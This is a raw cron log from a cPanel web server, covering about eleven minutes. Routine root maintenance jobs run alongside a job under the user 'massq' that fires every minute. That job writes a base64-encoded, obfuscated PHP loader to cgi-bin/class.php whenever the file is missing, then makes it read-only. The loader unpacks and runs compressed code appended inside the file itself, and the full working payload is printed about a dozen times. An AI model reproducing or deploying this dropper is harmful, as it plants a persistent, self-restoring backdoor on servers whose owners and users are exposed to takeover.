Sep  4 18:39:01 server CROND[2754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:39:01 server CROND[2755]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 18:40:01 server CROND[3207]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:40:01 server CROND[3209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:40:01 server CROND[3211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:40:01 server CROND[3210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:40:01 server CROND[3213]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:40:01 server CROND[3214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:40:01 server CROND[3212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:40:01 server CROND[3215]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:41:01 server CROND[4050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:41:01 server CROND[4051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:41:01 server CROND[4052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:42:01 server CROND[4525]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:42:01 server CROND[4526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:42:01 server CROND[4527]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:42:01 server CROND[4528]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 18:43:01 server CROND[4933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:43:01 server CROND[4934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:43:01 server CROND[4935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:44:01 server CROND[5317]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:44:01 server CROND[5318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:44:01 server CROND[5319]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:45:01 server CROND[5705]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:45:01 server CROND[5711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:45:01 server CROND[5712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:45:01 server CROND[5715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:45:01 server CROND[5714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:45:01 server CROND[5713]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:45:01 server CROND[5716]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:46:01 server CROND[6536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:46:01 server CROND[6538]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:46:01 server CROND[6537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:47:01 server CROND[7045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:47:01 server CROND[7044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:47:01 server CROND[7046]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:48:01 server CROND[7473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:48:01 server CROND[7474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:48:01 server CROND[7475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:49:01 server CROND[7858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:49:01 server CROND[7859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:49:01 server CROND[7860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:50:01 server CROND[8309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:50:01 server CROND[8310]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:50:01 server CROND[8315]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:50:01 server CROND[8326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:50:01 server CROND[8325]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:50:01 server CROND[8321]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:50:01 server CROND[8324]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 18:50:01 server CROND[8322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
